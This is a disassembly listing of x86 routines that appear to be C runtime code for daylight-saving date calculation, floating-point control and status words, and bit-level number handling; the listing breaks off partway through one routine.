; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F4C0 proc near ; CODE XREF: sub_42F1C0+9Fp
; sub_42F1C0+F2p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
sub esp, 14h
cmp [ebp+arg_4], 1
jnz loc_42F59C
mov eax, [ebp+arg_8]
and eax, 3
test eax, eax
jnz short loc_42F4E9
mov ecx, [ebp+arg_C]
mov edx, ds:dword_450740[ecx*4]
mov [ebp+var_C], edx
jmp short loc_42F4F6
; ---------------------------------------------------------------------------
loc_42F4E9: ; CODE XREF: sub_42F4C0+18j
mov eax, [ebp+arg_C]
mov ecx, ds:dword_450774[eax*4]
mov [ebp+var_C], ecx
loc_42F4F6: ; CODE XREF: sub_42F4C0+27j
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+arg_8]
sub eax, 46h
imul eax, 16Dh
mov ecx, [ebp+var_8]
add ecx, eax
mov edx, [ebp+arg_8]
sub edx, 1
sar edx, 2
lea eax, [ecx+edx-0Dh]
cdq
mov ecx, 7
idiv ecx
mov [ebp+var_4], edx
mov edx, [ebp+var_4]
cmp edx, [ebp+arg_14]
jge short loc_42F549
mov eax, [ebp+arg_14]
sub eax, [ebp+var_4]
mov ecx, [ebp+arg_10]
sub ecx, 1
imul ecx, 7
add ecx, [ebp+var_8]
add ecx, eax
mov [ebp+var_8], ecx
jmp short loc_42F55D
; ---------------------------------------------------------------------------
loc_42F549: ; CODE XREF: sub_42F4C0+6Ej
mov edx, [ebp+arg_14]
sub edx, [ebp+var_4]
mov eax, [ebp+arg_10]
imul eax, 7
add eax, [ebp+var_8]
add eax, edx
mov [ebp+var_8], eax
loc_42F55D: ; CODE XREF: sub_42F4C0+87j
cmp [ebp+arg_10], 5
jnz short loc_42F59A
mov ecx, [ebp+arg_8]
and ecx, 3
test ecx, ecx
jnz short loc_42F57C
mov edx, [ebp+arg_C]
mov eax, ds:dword_450744[edx*4]
mov [ebp+var_10], eax
jmp short loc_42F589
; ---------------------------------------------------------------------------
loc_42F57C: ; CODE XREF: sub_42F4C0+ABj
mov ecx, [ebp+arg_C]
mov edx, ds:dword_450778[ecx*4]
mov [ebp+var_10], edx
loc_42F589: ; CODE XREF: sub_42F4C0+BAj
mov eax, [ebp+var_8]
cmp eax, [ebp+var_10]
jle short loc_42F59A
mov ecx, [ebp+var_8]
sub ecx, 7
mov [ebp+var_8], ecx
loc_42F59A: ; CODE XREF: sub_42F4C0+A1j
; sub_42F4C0+CFj
jmp short loc_42F5D1
; ---------------------------------------------------------------------------
loc_42F59C: ; CODE XREF: sub_42F4C0+Aj
mov edx, [ebp+arg_8]
and edx, 3
test edx, edx
jnz short loc_42F5B5
mov eax, [ebp+arg_C]
mov ecx, ds:dword_450740[eax*4]
mov [ebp+var_14], ecx
jmp short loc_42F5C2
; ---------------------------------------------------------------------------
loc_42F5B5: ; CODE XREF: sub_42F4C0+E4j
mov edx, [ebp+arg_C]
mov eax, ds:dword_450774[edx*4]
mov [ebp+var_14], eax
loc_42F5C2: ; CODE XREF: sub_42F4C0+F3j
mov ecx, [ebp+var_14]
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
add edx, [ebp+arg_18]
mov [ebp+var_8], edx
loc_42F5D1: ; CODE XREF: sub_42F4C0:loc_42F59Aj
cmp [ebp+arg_0], 1
jnz short loc_42F611
mov eax, [ebp+var_8]
mov ds:dword_45072C, eax
mov ecx, [ebp+arg_1C]
imul ecx, 3Ch
mov edx, [ebp+arg_20]
add edx, ecx
imul edx, 3Ch
mov eax, [ebp+arg_24]
add eax, edx
imul eax, 3E8h
mov ecx, [ebp+arg_28]
add ecx, eax
mov ds:dword_450730, ecx
mov edx, [ebp+arg_8]
mov ds:dword_450728, edx
jmp loc_42F6B4
; ---------------------------------------------------------------------------
loc_42F611: ; CODE XREF: sub_42F4C0+115j
mov eax, [ebp+var_8]
mov ds:dword_45073C, eax
mov ecx, [ebp+arg_1C]
imul ecx, 3Ch
mov edx, [ebp+arg_20]
add edx, ecx
imul edx, 3Ch
mov eax, [ebp+arg_24]
add eax, edx
imul eax, 3E8h
mov ecx, [ebp+arg_28]
add ecx, eax
mov ds:dword_450740, ecx
mov edx, ds:dword_450698
imul edx, 3E8h
mov eax, ds:dword_450740
add eax, edx
mov ds:dword_450740, eax
cmp ds:dword_450740, 0
jge short loc_42F681
mov ecx, ds:dword_450740
add ecx, 5265C00h
mov ds:dword_450740, ecx
mov edx, ds:dword_45073C
sub edx, 1
mov ds:dword_45073C, edx
jmp short loc_42F6AB
; ---------------------------------------------------------------------------
loc_42F681: ; CODE XREF: sub_42F4C0+19Cj
cmp ds:dword_450740, 5265C00h
jl short loc_42F6AB
mov eax, ds:dword_450740
sub eax, 5265C00h
mov ds:dword_450740, eax
mov ecx, ds:dword_45073C
add ecx, 1
mov ds:dword_45073C, ecx
loc_42F6AB: ; CODE XREF: sub_42F4C0+1BFj
; sub_42F4C0+1CBj
mov edx, [ebp+arg_8]
mov ds:dword_450738, edx
loc_42F6B4: ; CODE XREF: sub_42F4C0+14Cj
mov esp, ebp
pop ebp
retn
sub_42F4C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F6C0 proc near ; CODE XREF: sub_429150+5Ap
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_42F6C0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
fstsw word ptr [ebp-4]
mov ax, [ebp-4]
push eax
call sub_42FAC0
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
fnstsw word ptr [ebp-4]
fnclex
mov ax, [ebp-4]
push eax
call sub_42FAC0
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F710 proc near ; CODE XREF: sub_42F760+10p
var_10 = word ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
fstcw [ebp+var_10]
mov ax, [ebp+var_10]
push eax
call sub_42F7E0
add esp, 4
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
and ecx, [ebp+arg_4]
mov edx, [ebp+arg_4]
not edx
mov eax, [ebp+var_8]
and eax, edx
or ecx, eax
mov [ebp+var_C], ecx
mov ecx, [ebp+var_C]
push ecx
call sub_42F960
add esp, 4
mov [ebp+var_4], ax
fldcw [ebp+var_4]
mov eax, [ebp+var_C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42F710 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F760 proc near ; CODE XREF: sub_4296A0+Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
and eax, 0FFF7FFFFh
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42F710
add esp, 8
pop ebp
retn
sub_42F760 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
call sub_42D5B0
mov eax, [eax]
mov [ebp-4], eax
fninit
call sub_4296A0
cmp dword ptr [ebp-4], 0
jz short loc_42F7D1
mov ecx, [ebp-4]
mov edx, [ecx+4]
mov eax, [edx]
and eax, 10008h
test eax, eax
jz short loc_42F7D1
mov ecx, [ebp-4]
mov edx, [ecx+4]
add edx, 1Ch
mov [ebp-8], edx
mov eax, [ebp-8]
mov dword ptr [eax+4], 0
mov ecx, [ebp-8]
mov dword ptr [ecx+8], 0FFFFh
loc_42F7D1: ; CODE XREF: seg000:0042F79Ej
; seg000:0042F7AFj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F7E0 proc near ; CODE XREF: sub_42F710+12p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 1
test eax, eax
jz short loc_42F805
mov ecx, [ebp+var_4]
or ecx, 10h
mov [ebp+var_4], ecx
loc_42F805: ; CODE XREF: sub_42F7E0+1Aj
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 4
test edx, edx
jz short loc_42F81D
mov eax, [ebp+var_4]
or al, 8
mov [ebp+var_4], eax
loc_42F81D: ; CODE XREF: sub_42F7E0+33j
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 8
test ecx, ecx
jz short loc_42F836
mov edx, [ebp+var_4]
or edx, 4
mov [ebp+var_4], edx
loc_42F836: ; CODE XREF: sub_42F7E0+4Bj
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 10h
test eax, eax
jz short loc_42F84E
mov ecx, [ebp+var_4]
or ecx, 2
mov [ebp+var_4], ecx
loc_42F84E: ; CODE XREF: sub_42F7E0+63j
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 20h
test edx, edx
jz short loc_42F866
mov eax, [ebp+var_4]
or al, 1
mov [ebp+var_4], eax
loc_42F866: ; CODE XREF: sub_42F7E0+7Cj
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 2
test ecx, ecx
jz short loc_42F882
mov edx, [ebp+var_4]
or edx, 80000h
mov [ebp+var_4], edx
loc_42F882: ; CODE XREF: sub_42F7E0+94j
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 0C00h
mov [ebp+var_8], eax
cmp [ebp+var_8], 800h
jg short loc_42F8B5
cmp [ebp+var_8], 800h
jz short loc_42F8C8
cmp [ebp+var_8], 0
jz short loc_42F8C0
cmp [ebp+var_8], 400h
jz short loc_42F8D3
jmp short loc_42F8E7
; ---------------------------------------------------------------------------
loc_42F8B5: ; CODE XREF: sub_42F7E0+B9j
cmp [ebp+var_8], 0C00h
jz short loc_42F8DE
jmp short loc_42F8E7
; ---------------------------------------------------------------------------
loc_42F8C0: ; CODE XREF: sub_42F7E0+C8j
mov ecx, [ebp+var_4]
mov [ebp+var_4], ecx
jmp short loc_42F8E7
; ---------------------------------------------------------------------------
loc_42F8C8: ; CODE XREF: sub_42F7E0+C2j
mov edx, [ebp+var_4]
or dh, 2
mov [ebp+var_4], edx
jmp short loc_42F8E7
; ---------------------------------------------------------------------------
loc_42F8D3: ; CODE XREF: sub_42F7E0+D1j
mov eax, [ebp+var_4]
or ah, 1
mov [ebp+var_4], eax
jmp short loc_42F8E7
; ---------------------------------------------------------------------------
loc_42F8DE: ; CODE XREF: sub_42F7E0+DCj
mov ecx, [ebp+var_4]
or ch, 3
mov [ebp+var_4], ecx
loc_42F8E7: ; CODE XREF: sub_42F7E0+D3j
; sub_42F7E0+DEj ...
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 300h
mov [ebp+var_C], edx
cmp [ebp+var_C], 0
jz short loc_42F929
cmp [ebp+var_C], 200h
jz short loc_42F91B
cmp [ebp+var_C], 300h
jz short loc_42F913
jmp short loc_42F935
; ---------------------------------------------------------------------------
loc_42F913: ; CODE XREF: sub_42F7E0+12Fj
mov eax, [ebp+var_4]
mov [ebp+var_4], eax
jmp short loc_42F935
; ---------------------------------------------------------------------------
loc_42F91B: ; CODE XREF: sub_42F7E0+126j
mov ecx, [ebp+var_4]
or ecx, 10000h
mov [ebp+var_4], ecx
jmp short loc_42F935
; ---------------------------------------------------------------------------
loc_42F929: ; CODE XREF: sub_42F7E0+11Dj
mov edx, [ebp+var_4]
or edx, 20000h
mov [ebp+var_4], edx
loc_42F935: ; CODE XREF: sub_42F7E0+131j
; sub_42F7E0+139j ...
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 1000h
test eax, eax
jz short loc_42F952
mov ecx, [ebp+var_4]
or ecx, 40000h
mov [ebp+var_4], ecx
loc_42F952: ; CODE XREF: sub_42F7E0+164j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42F7E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F960 proc near ; CODE XREF: sub_42F710+36p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
and eax, 10h
test eax, eax
jz short loc_42F981
mov cx, [ebp+var_4]
or cl, 1
mov [ebp+var_4], cx
loc_42F981: ; CODE XREF: sub_42F960+14j
mov edx, [ebp+arg_0]
and edx, 8
test edx, edx
jz short loc_42F995
mov ax, [ebp+var_4]
or al, 4
mov [ebp+var_4], ax
loc_42F995: ; CODE XREF: sub_42F960+29j
mov ecx, [ebp+arg_0]
and ecx, 4
test ecx, ecx
jz short loc_42F9AA
mov dx, [ebp+var_4]
or dl, 8
mov [ebp+var_4], dx
loc_42F9AA: ; CODE XREF: sub_42F960+3Dj
mov eax, [ebp+arg_0]
and eax, 2
test eax, eax
jz short loc_42F9BF
mov cx, [ebp+var_4]
or cl, 10h
mov [ebp+var_4], cx
loc_42F9BF: ; CODE XREF: sub_42F960+52j
mov edx, [ebp+arg_0]
and edx, 1
test edx, edx
jz short loc_42F9D3
mov ax, [ebp+var_4]
or al, 20h
mov [ebp+var_4], ax
loc_42F9D3: ; CODE XREF: sub_42F960+67j
mov ecx, [ebp+arg_0]
and ecx, 80000h
test ecx, ecx
jz short loc_42F9EB
mov dx, [ebp+var_4]
or dl, 2
mov [ebp+var_4], dx
loc_42F9EB: ; CODE XREF: sub_42F960+7Ej
mov eax, [ebp+arg_0]
and eax, 300h
mov [ebp+var_8], eax
cmp [ebp+var_8], 200h
ja short loc_42FA19
cmp [ebp+var_8], 200h
jz short loc_42FA2E
cmp [ebp+var_8], 0
jz short loc_42FA24
cmp [ebp+var_8], 100h
jz short loc_42FA3B
jmp short loc_42FA53
; ---------------------------------------------------------------------------
loc_42FA19: ; CODE XREF: sub_42F960+9Dj
cmp [ebp+var_8], 300h
jz short loc_42FA48
jmp short loc_42FA53
; ---------------------------------------------------------------------------
loc_42FA24: ; CODE XREF: sub_42F960+ACj
mov cx, [ebp+var_4]
mov [ebp+var_4], cx
jmp short loc_42FA53
; ---------------------------------------------------------------------------
loc_42FA2E: ; CODE XREF: sub_42F960+A6j
mov dx, [ebp+var_4]
or dh, 8
mov [ebp+var_4], dx
jmp short loc_42FA53
; ---------------------------------------------------------------------------
loc_42FA3B: ; CODE XREF: sub_42F960+B5j
mov ax, [ebp+var_4]
or ah, 4
mov [ebp+var_4], ax
jmp short loc_42FA53
; ---------------------------------------------------------------------------
loc_42FA48: ; CODE XREF: sub_42F960+C0j
mov cx, [ebp+var_4]
or ch, 0Ch
mov [ebp+var_4], cx
loc_42FA53: ; CODE XREF: sub_42F960+B7j
; sub_42F960+C2j ...
mov edx, [ebp+arg_0]
and edx, 30000h
mov [ebp+var_C], edx
cmp [ebp+var_C], 0
jz short loc_42FA79
cmp [ebp+var_C], 10000h
jz short loc_42FA86
cmp [ebp+var_C], 20000h
jz short loc_42FA93
jmp short loc_42FA9B
; ---------------------------------------------------------------------------
loc_42FA79: ; CODE XREF: sub_42F960+103j
mov ax, [ebp+var_4]
or ah, 3
mov [ebp+var_4], ax
jmp short loc_42FA9B
; ---------------------------------------------------------------------------
loc_42FA86: ; CODE XREF: sub_42F960+10Cj
mov cx, [ebp+var_4]
or ch, 2
mov [ebp+var_4], cx
jmp short loc_42FA9B
; ---------------------------------------------------------------------------
loc_42FA93: ; CODE XREF: sub_42F960+115j
mov dx, [ebp+var_4]
mov [ebp+var_4], dx
loc_42FA9B: ; CODE XREF: sub_42F960+117j
; sub_42F960+124j ...
mov eax, [ebp+arg_0]
and eax, 40000h
test eax, eax
jz short loc_42FAB2
mov cx, [ebp+var_4]
or ch, 10h
mov [ebp+var_4], cx
loc_42FAB2: ; CODE XREF: sub_42F960+145j
mov ax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42F960 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FAC0 proc near ; CODE XREF: seg000:0042F6E0p
; seg000:0042F701p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 1
test eax, eax
jz short loc_42FAE3
mov ecx, [ebp+var_4]
or ecx, 10h
mov [ebp+var_4], ecx
loc_42FAE3: ; CODE XREF: sub_42FAC0+18j
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 4
test edx, edx
jz short loc_42FAFB
mov eax, [ebp+var_4]
or al, 8
mov [ebp+var_4], eax
loc_42FAFB: ; CODE XREF: sub_42FAC0+31j
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 8
test ecx, ecx
jz short loc_42FB14
mov edx, [ebp+var_4]
or edx, 4
mov [ebp+var_4], edx
loc_42FB14: ; CODE XREF: sub_42FAC0+49j
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 10h
test eax, eax
jz short loc_42FB2C
mov ecx, [ebp+var_4]
or ecx, 2
mov [ebp+var_4], ecx
loc_42FB2C: ; CODE XREF: sub_42FAC0+61j
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 20h
test edx, edx
jz short loc_42FB44
mov eax, [ebp+var_4]
or al, 1
mov [ebp+var_4], eax
loc_42FB44: ; CODE XREF: sub_42FAC0+7Aj
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 2
test ecx, ecx
jz short loc_42FB60
mov edx, [ebp+var_4]
or edx, 80000h
mov [ebp+var_4], edx
loc_42FB60: ; CODE XREF: sub_42FAC0+92j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42FAC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FB70 proc near ; CODE XREF: sub_42FCB0+70p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
and eax, 8000001Fh
jns short loc_42FB94
dec eax
or eax, 0FFFFFFE0h
inc eax
loc_42FB94: ; CODE XREF: sub_42FB70+1Dj
mov ecx, 1Fh
sub ecx, eax
mov [ebp+var_4], ecx
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_4]
shl edx, cl
not edx
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
and edx, [ebp+var_8]
test edx, edx
jz short loc_42FBBF
xor eax, eax
jmp short loc_42FBF0
; ---------------------------------------------------------------------------
loc_42FBBF: ; CODE XREF: sub_42FB70+49j
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_42FBD3
; ---------------------------------------------------------------------------
loc_42FBCA: ; CODE XREF: sub_42FB70:loc_42FBE9j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_42FBD3: ; CODE XREF: sub_42FB70+58j
cmp [ebp+var_C], 3
jge short loc_42FBEB
mov edx, [ebp+var_C]
mov eax, [ebp+arg_0]
cmp dword ptr [eax+edx*4], 0
jz short loc_42FBE9
xor eax, eax
jmp short loc_42FBF0
; ---------------------------------------------------------------------------
loc_42FBE9: ; CODE XREF: sub_42FB70+73j
jmp short loc_42FBCA
; ---------------------------------------------------------------------------
loc_42FBEB: ; CODE XREF: sub_42FB70+67j
mov eax, 1
loc_42FBF0: ; CODE XREF: sub_42FB70+4Dj
; sub_42FB70+77j
mov esp, ebp
pop ebp
retn
sub_42FB70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FC00 proc near ; CODE XREF: sub_42FCB0+84p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
and eax, 8000001Fh
jns short loc_42FC24
dec eax
or eax, 0FFFFFFE0h
inc eax
loc_42FC24: ; CODE XREF: sub_42FC00+1Dj
mov ecx, 1Fh
sub ecx, eax
mov [ebp+var_4], ecx
mov edx, 1
mov ecx, [ebp+var_4]
shl edx, cl
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
lea edx, [ecx+eax*4]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4]
push eax
call sub_433020
add esp, 0Ch
mov [ebp+var_10], eax
mov ecx, [ebp+var_C]
sub ecx, 1
mov [ebp+var_C], ecx
jmp short loc_42FC72
; ---------------------------------------------------------------------------
loc_42FC69: ; CODE XREF: sub_42FC00+9Fj
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
loc_42FC72: ; CODE XREF: sub_42FC00+67j
cmp [ebp+var_C], 0
jl short loc_42FCA1
cmp [ebp+var_10], 0
jz short loc_42FCA1
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
lea edx, [ecx+eax*4]
push edx
push 1
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
push edx
call sub_433020
add esp, 0Ch
mov [ebp+var_10], eax
jmp short loc_42FC69
; ---------------------------------------------------------------------------
loc_42FCA1: ; CODE XREF: sub_42FC00+76j
; sub_42FC00+7Cj
mov eax, [ebp+var_10]
mov esp, ebp
pop ebp
retn
sub_42FC00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FCB0 proc near ; CODE XREF: sub_42FF40+ABp
; sub_42FF40+132p ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov [ebp+var_18], 0
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_C], ecx
mov eax, [ebp+var_C]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_14], eax
mov edx, [ebp+var_C]
and edx, 8000001Fh
jns short loc_42FCEE
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_42FCEE: ; CODE XREF: sub_42FCB0+37j
mov eax, 1Fh
sub eax, edx
mov [ebp+var_8], eax
mov edx, 1
mov ecx, [ebp+var_8]
shl edx, cl
mov [ebp+var_1C], edx
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
and edx, [ebp+var_1C]
test edx, edx
jz short loc_42FD3F
mov eax, [ebp+var_C]
add eax, 1
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42FB70
add esp, 8
test eax, eax
jnz short loc_42FD3F
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42FC00
add esp, 8
mov [ebp+var_18], eax
loc_42FD3F: ; CODE XREF: sub_42FCB0+63j
; sub_42FCB0+7Aj
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_8]
shl edx, cl
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
mov eax, [ecx+eax*4]
and eax, edx
mov ecx, [ebp+var_14]
mov edx, [ebp+arg_0]
mov [edx+ecx*4], eax
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_10], eax
jmp short loc_42FD6F
; ---------------------------------------------------------------------------
loc_42FD66: ; CODE XREF: sub_42FCB0+D2j
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
loc_42FD6F: ; CODE XREF: sub_42FCB0+B4j
cmp [ebp+var_10], 3
jge short loc_42FD84
mov edx, [ebp+var_10]
mov eax, [ebp+arg_0]
mov dword ptr [eax+edx*4], 0
jmp short loc_42FD66
; ---------------------------------------------------------------------------
loc_42FD84: ; CODE XREF: sub_42FCB0+C3j
mov eax, [ebp+var_18]
mov esp, ebp
pop ebp
retn
sub_42FCB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FD90 proc near ; CODE XREF: sub_42FF40+98p
; sub_42FF40:loc_43004Fp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
mov [ebp+var_C], 0
jmp short loc_42FDB4
; ---------------------------------------------------------------------------
loc_42FDAB: ; CODE XREF: sub_42FD90+46j
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_42FDB4: ; CODE XREF: sub_42FD90+19j
cmp [ebp+var_C], 3
jge short loc_42FDD8
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_8]
add eax, 4
mov [ebp+var_8], eax
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
jmp short loc_42FDAB
; ---------------------------------------------------------------------------
loc_42FDD8: ; CODE XREF: sub_42FD90+28j
mov esp, ebp
pop ebp
retn
sub_42FD90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FDE0 proc near ; CODE XREF: sub_42FF40+7Cp
; sub_42FF40+D5p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_42FDF6
; ---------------------------------------------------------------------------
loc_42FDED: ; CODE XREF: sub_42FDE0+29j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_42FDF6: ; CODE XREF: sub_42FDE0+Bj
cmp [ebp+var_4], 3
jge short loc_42FE0B
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov dword ptr [edx+ecx*4], 0
jmp short loc_42FDED
; ---------------------------------------------------------------------------
loc_42FE0B: ; CODE XREF: sub_42FDE0+1Aj
mov esp, ebp
pop ebp
retn
sub_42FDE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FE10 proc near ; CODE XREF: sub_42FF40+63p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_42FE26
; ---------------------------------------------------------------------------
loc_42FE1D: ; CODE XREF: sub_42FE10:loc_42FE3Cj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_42FE26: ; CODE XREF: sub_42FE10+Bj
cmp [ebp+var_4], 3
jge short loc_42FE3E
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
cmp dword ptr [edx+ecx*4], 0
jz short loc_42FE3C
xor eax, eax
jmp short loc_42FE43
; ---------------------------------------------------------------------------
loc_42FE3C: ; CODE XREF: sub_42FE10+26j
jmp short loc_42FE1D
; ---------------------------------------------------------------------------
loc_42FE3E: ; CODE XREF: sub_42FE10+1Aj
mov eax, 1
loc_42FE43: ; CODE XREF: sub_42FE10+2Aj
mov esp, ebp
pop ebp
retn
sub_42FE10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FE50 proc near ; CODE XREF: sub_42FF40+11Fp
; sub_42FF40+148p ...
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
push esi
mov eax, [ebp+arg_4]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_18], eax
mov eax, [ebp+arg_4]
and eax, 8000001Fh
jns short loc_42FE75
dec eax
or eax, 0FFFFFFE0h
inc eax
loc_42FE75: ; CODE XREF: sub_42FE50+1Ej
mov [ebp+var_4], eax
